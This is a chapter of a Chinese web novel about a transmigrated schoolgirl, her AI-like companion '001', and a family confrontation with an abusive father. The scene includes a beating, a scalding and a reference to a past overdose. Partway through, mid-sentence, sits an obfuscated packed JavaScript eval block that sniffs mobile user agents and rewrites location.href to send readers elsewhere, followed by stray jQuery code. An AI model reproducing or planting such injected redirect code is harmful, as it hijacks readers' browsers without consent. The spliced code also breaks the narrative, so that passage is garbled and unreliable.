春天和夏天之间往往没有什么明显的过渡,过了五月,太阳渐渐毒辣起来,人们身上的衣服也一天比一天薄。
很快,高二下学期期末考试结束,杨辞在班级群里通知,要在当天放学之后开家长会。
苏昙提前给陈玫发了消息,说放学先不回家,就在学校等她开完班会一起回去。消息发出去半天,陈玫一直没有回复,苏昙不知道她究竟看没看到,电话也打不通,提示正在通话。
算了,等她来了再说一遍吧。
苏昙拉着书箱子,坐在教学楼前的梧桐树下的椅子上,茂盛的绿色树叶给树下的人腾出一片荫凉,苏昙戴上耳机,惬意地看着来往的学生和家长。
看着看着,她看到了一张熟悉的脸。
夏恒?
他怎么会来这?陈玫呢?
苏昙立刻从椅子上弹起来,躲到树后暗中观察他。
夏恒这次没穿西服,而是换上一套藏蓝色衬衫便装。尽管如此,他在人群中依旧显眼,周身散发出严肃的商人气质。
他眉头习惯性紧皱,快速在一楼找到高二一班,大步跨了进去。
苏昙想到她已经沦为班里倒数的成绩,心觉不妙,立刻给司机发消息。万幸门口堵车,司机还没走多远,立刻停了下来。
苏昙头也不回地推着箱子出校、上车、回家,动作行云流水,一气呵成。
刚坐上车,陈玫的电话打了过来。
苏昙听出她的声音有些倦意。
“刚才有事,没看到你的微信和电话。家长会你爸非要去,我拦不住他,你应该碰见他了吧。”
“嗯,他已经进班了。”
“那你现在在哪?”
“我回家了,还在路上。”
“好。”陈玫在电话那头顿了几秒,好像深深吸了一口气,说道,“今天上午,我和夏恒去把离婚手续给办了。你爸这次回来,要在家里待一个暑假。”
苏昙有些意外,也觉得正常,她问道:“……那夏迁舟现在知道吗?”
“他已经放假了,但我还没敢告诉他。现在我在你姥姥家。”
“没事,相信迁舟会理解您的。”
“我既然离婚,就不会再奢求你们原谅或理解我。我就是个不称职的母亲,一个自私的人。”
陈玫的眼睛哭了一上午,早就哭得充血红肿,此刻又有沉甸甸的愧疚堵在心里。
苏昙轻轻叹气,静静地等着陈玫。
陈玫眼里早就没泪了,过了一会,她带着重重的鼻音道:“对不起,我现在真的没脸见你们。往后,你和弟弟的抚养费,我和你爸一人出一半。你们住的地方不用换,继续住别墅就行。另外,我准备重新找一份工作,能养活我和你们俩就够了。”
“……好。”
苏昙坐在车后座,透过玻璃看着路边的一排排榆树快速后退。
好在人是向前走的。如果生活重新开始,应该也会越来越好吧。她想。
不过,眼下这件事,还有一个人需要知道。
陈玫已经挂断电话,苏昙靠在座背,闭上了眼。
她已经有小一个月没见过那个人,也没和那个人说过话。现在突然有事找他,竟然都不知道要怎么开口了。
苏昙仿佛又回到独自一个人在里世界生活的状态,每天忙着和周围的人打交道,闲暇的时候接几个项目,特别累的时候甚至能倒头就睡。
有时候,她都要怀疑睡眠质量慢慢回到从前了。这样看,没有子系统陪伴的日子似乎也不是很难熬。
就是不知道他现在忙不忙,会不会听到她的声音。
第一句话要说什么呢。直接喊名字?还是先问候一句“在干什么?”
苏昙思来想去,还是没想好怎么开启久违的对话。
这时,她感觉到识海里涌起一股十分舒服的暖流,从里到外放松了大脑——这是子系统来了的标识。
“……001?”
尽管苏昙知道子系统此刻就在她的识海,她还是忍不住喊出他的名字。
“我在。”
“你怎么知道我想找你?”
“听到了。”
苏昙:“?”
可她还没张嘴,他就先到了啊。
“你已经在心里想了许多遍了。”001的话里不带任何挑逗和暗示,只是在平静地陈述事实,“也许你忘了,子系统能够和宿主某些强烈的情绪共感,我能察觉到你心里既犹豫,又期待。”
“我还说过,只要你喊我,我就一定会回应。你可能也忘了。”
苏昙:“……”
虽然她现在看不到001的模样,但她确定,他的最后一句话绝对是在怪她!
苏昙感觉被人当面脱掉了底裤,连装都没法再装,干脆不装了。
“那你感觉错了,我期待的不是你,是夏汀舟。”她强装淡定道,“我有事托你替我转达给她。”
不知是不是她的错觉,她说完后,好像听到了001在轻笑。那声笑很浅很浅,就像一片落叶随风轻盈飘走,快得让人抓不住。
“什么事?”
他再开口时,口吻已经恢复严肃认真。
苏昙把心里的一丝落寞驱走,正色说道:“夏恒回来了。”
“纸总归包不住火,他很可能已经知道成绩的事。我在想,你要不要给夏汀舟说一声?在保持学业和发展兴趣爱好这件事上,我觉得还是夏汀舟亲自和夏恒沟通更有用。你能帮我去问问她的意见吗?”
“你是想让夏汀舟主动迈出第一步?”
“没错,有些事情只能自己面对。”
苏昙不得不承认,尽管已经一个月没和001相处,她和他之间的默契依旧还在。
“家长会什么时候结束?”001又问。
苏昙看了一眼时间:“六点半。还有半个小时。”
“那我现在就去找夏汀舟。你……还有什么事要说吗?”
“没了。”
“那我还有。”
“?”
“如果下次想见我,直接喊我的名字吧,我永远都会在第一时刻回应你。”
“谁想见你了?!”
苏昙下意识反驳,没忍住喊出声,把前排开车的司机吓了一大跳,扭过头看了一眼她。
紧接着,她又听到了001的轻笑。
“你笑什么笑?”苏昙觉得她快要被气笑了,“看我尴尬你很开心吗?”
“相反,一点也不开心。我没想要嘲笑你,只是不想看到你那么累。那个会笑会哭会生气的才是我认识的苏昙。”001还想再说什么,却忽地停住,最后只道,“不管什么时候,你都可以不带任何犹豫地走向我,我一直都在。”
像一记硬拳打进棉花里,苏昙突然泄了气。
为什么会有这么执着真诚的人,总是不加遮掩、不厌其烦地一次次表露真心,坦率到让她自惭形秽,甚至说不出刺人的狠话。001把她看得太透彻了,让她避无可避。
“你走吧。”苏昙摸出眼罩戴上,“我累了,要睡一会。”
过了几秒,她觉得太阳穴开始酸胀——001已经走了。
苏昙把座椅放平躺倒,高高抬起拳头,又像发泄脾气一样落下,无声地砸进柔软的坐垫。
或许无能为力才是人之常情吧。
……
夏汀舟刚刚回到自己的身体里,还有种恍如隔世的错觉。
在裂缝之隙待了快一年,她短暂了脱离了令人窒息的父亲,也离开了那座死气沉沉的别墅。服下过量安眠药的那一刻,她的确感受到一种前所未有的解脱。
可她还是来到了虚空之境。只有仍抱着生的执念的死者才会来到这里。
裂缝之隙没有夏恒,但夏恒的话总会在房间突然响起,常常把她吓得不轻。平静下来后,才发觉,那只是她自己心里的声音。
一个人的时候,夏汀舟思考了很多,她好像只是从一个地方,逃到了另一个地方。一开始的解脱慢慢变成枷锁,把她锁在这一昏暗的房间。
半小时前,001来到她房间,把苏昙想法告诉了她,加上她本就能看到宿主在里世界的生活,把苏昙做的事情了解得差不多。
她真的很感激苏昙,也很向往她敢于直面冲突勇气。
十八年了,总不能一直当个哑巴吧。夏汀舟这样劝着自己,有了眼下这短暂的重生。
她回来了。
“小姐,到家了。”
司机把车停好,喊醒了还在后座睡觉的夏汀舟。
“知道了。”
夏汀舟深呼吸,下了车进到别墅。
孙姨正在做晚饭,听到开门的声音,立刻出来道:“汀舟,先去休息一会,饭马上好!”
“嗯。”
夏汀舟把书包放下,先去了陈玫的房间,一应摆设都没变化,就是她衣柜里的衣服少了大半。夏汀舟站在衣柜前看了一会,衣柜里散发出熟悉的洗衣粉香味,好似陈玫一直不曾离开。
其实,得知父母离婚的事,说不悲伤怨恨是假的。可过去这一年,她作为旁观者,才发现陈玫也有苦衷。
她不理解的是,既然在婚姻里寻不到幸福,为什么不早点分开,而是偏偏生下她和夏迁舟后,才追悔莫及地离婚?
她没有苏昙看得通透豁达,但会学着慢慢接受。
夏汀舟整理好心情,走上楼敲了敲夏迁舟的房间。
夏迁舟放下手里的作业,开门道:“姐?有什么事吗?”
夏汀舟已经很久没听过他心平气和地和她说话了,如果没有苏昙在中间缓和,也许到现在,她听到的仍是一句不耐烦的“干嘛?”。
她知道夏迁舟一直嫌弃她沉默寡言,性格“窝囊”,某些举动甚至有讨好的意味。但她只是不愿意看到夏迁舟变成自己这样,才想方设法对他表达关心和亲情。
“你怎么不说话?谁又欺负你了?”
夏迁舟看他姐站在那一动不动地盯着他看,眼圈还慢慢红了。
“我……没事,就是来看看你。”
“你今天心情不好?”
“没有,就是突然有点舍不得了。”
“舍不得什么?”夏迁舟疑惑道。
夏汀舟笑着摇了摇头:“没什么。”
夏迁舟:“那咱们下去吃饭吧,估计孙姨快把饭做好了。”
“好。”
夏汀舟和他一起走下楼。
刚到餐厅,夏恒回来了。
夏汀舟的笑容凝固在脸上,呼吸开始不受控制地急促起来,双手双脚瞬间冰凉。逃跑的冲动开始占据她全部的理智。
“别怕,我和子系统都在呢。”夏汀舟突然听到一个熟悉的声音。
苏昙现在处于灵魂游离的状态,四处飘荡在房子的各个角落。她此刻就在夏汀舟身边。
夏汀舟指尖攥得发白,反正都已经死过一次了,还怕什么。
她深呼吸,和夏迁舟坐在餐桌旁。
夏恒把公文包挂到架子上,也坐了下来。
“我妈呢?”
夏迁舟环顾了一圈,问道。
夏恒阴沉的脸色更深了几分:“她回老家住
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764820|182094||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几天。”
“哦。”
夏迁舟没有看他,起身进厨房帮孙姨拿碗筷端菜。
夏恒坐在夏汀舟对面,挽了挽袖口,终于对她说道:“班里倒数第二。你好大的面子,让我丢脸丢到你们班主任那了。”
夏汀舟早就做够了乖乖女,所谓的班里第一、年纪前十,那只是她用来稳住夏恒的唯一方式。
“可我真的很累,爸爸。”
“就你一个人累?我在外打拼挣钱不累?你们班在你之前的那四十六个同学不累?你喊累之前能不能先想想自己说的话可笑不可笑?”
夏汀舟下意识闭上了嘴。
夏恒看到她乖顺的模样,露出满意的神色,这才是他听话的女儿。
“你闹了这么长时间,也该闹够了,高三开学,我要看到你重回班级第一。”
“……我做不到。”
“你做不到那你之前的成绩是谁的?鬼的?!”
夏恒猛地提高音量,把端着菜盘出来的夏迁舟吓得浑身一抖。
夏汀舟的眼泪不受控制地涌出来,但在夏恒面前,她连放声大哭的权利都没有,只能压低声音抽泣。
夏恒烦燥得连眉毛都一上一下地抖动:“哭哭哭,就会哭,和你妈一样,整天就会哭哭啼啼的!”
“你说谁呢!”
夏迁舟忍无可忍地朝夏恒吼道。
夏恒不可置信地转过身:“你对谁说话呢?”
他朝夏迁舟走过去,不仅占据了身高优势,就连气势也完全碾压。
“记好了,我是你爹!”夏恒抬手朝夏迁舟背上捶了一拳。
夏迁舟手上还端着滚烫的甜汤,背上一吃痛,手上就泄了力,整个瓦罐瞬间倾倒,里面的热汤顺着他的手臂,向下流满全身,触及到皮肤的地方眨眼变得红肿。
“你是不是疯了,夏恒!”
夏汀舟尖叫着推开夏恒,飞快把夏迁舟拉到水池边上冲洗。
“是不是很疼,我马上带你看医生……”
夏汀舟一边哭一边问他,却不知道自己的手已经吓到颤抖。
孙姨还在厨房,看见夏迁舟整个小臂烫成这样,赶紧去冰箱找冰块。
夏恒心里更加烦躁,他把掉到地上的瓦罐踢到一旁,目光紧盯着夏汀舟道:“你叫我什么?”
夏汀舟红着眼,看着他嘶哑地喊道:“夏恒,你就是个混蛋,没良心的混蛋!滚!”
她压抑在心里十几年的愤怒终是在这一刻尽数爆发。
夏恒也气红了眼,眼看又要抬手。
夏迁舟“砰”地关掉水龙头,把夏汀舟护在身后。
“还想打人?信不信我现在就报警!”
他拿出手机,按下110。
“你打个屁!”
夏恒一把夺过,狠狠地砸到墙上。手机的屏幕瞬间爆裂。
孙姨差点被手机屏幕的碎渣嘣到脸,吓得赶紧安抚道:“夏先生,别和孩子置气,不值当不值当!”
说着,赶紧把夏汀舟和夏迁舟拉出了厨房。
夏恒想到什么,冷笑道:“好啊,你们一个两个合起伙来都把我蒙在鼓里是吧?我说夏汀舟怎么这么长时间都没碰过相机,原来一直是你这个保姆在替她撒谎!”
夏汀舟心里咯噔一跳,拉着他的手臂:“你要干什么?”
“断了你的念想。”
夏恒一挥手把夏汀舟推到地上,两三步跨上楼梯。
“不行!”夏汀舟疯一般跟在他身后,哭着哀求道,“我求求你,别动我的东西,我求求你了行不行……”
夏恒踹开她的房间门,开始东翻西找,连衣柜床底都不放过。
他扔一个东西,夏汀舟就捡回来一个东西眨眼的功夫,夏恒从衣柜里提出来一个行李箱。
夏汀舟瞳孔皱缩。
这里面是她所有的相机和工具!还有她这五年来偷偷拍过的所有照片。
“爸,其他的都行,唯独这个不行,求你了别动这个箱子好不好……”夏汀舟几乎要给夏恒跪下。
夏恒毫不理会她的付乞,得意地看着她,打开窗户把箱子扔下了楼。
夏汀舟听到楼下传来的一声闷响,突然喘不过气来。
“你就是个疯子!”她的声音沙哑,整个人都要扑到夏恒身上。
“别冲动!”苏昙眼疾手快地拉住夏汀舟,可算找到了能说话的空隙,“那里面都是衣服!我提前把你的相机藏好了,箱子在夏迁舟的床下面!”
夏汀舟停住动作。她眼里已经没有泪,身体还在因为哭得太狠而抽搐。
她突然感觉好累好累。
“当务之急,先让夏恒离开房间。”
苏昙继续对夏汀舟说道。
这时,夏迁舟和孙姨也上来,把意识涣散的夏汀舟带了出去。
夏恒满意地离开了房间,路过夏汀舟时,装腔说道:“你还小,太多事都不懂,得听话。”
话落,又对孙姨道:“还有你这个保姆,明天起,就不用在别墅里干了,今天把房间收拾好,晚上我让助理给你结算工资,走人吧。”
夏恒离开别墅后,夏汀舟终于缓过来一点。她先看了看夏迁舟的胳膊,已经起了水泡。
她声音沙哑,脸色疲惫道:“孙姨,拜托您把我弟床下的箱子放好。”
接着,她拿出备用机给司机发了消息,带上证件立刻去医院治疗。
孙姨把夏汀舟二人送上车,默默把楼下的箱子捡回来,熟练地处理放凉的晚饭,打扫整个别墅的卫生。
今夜,恐无一人安眠。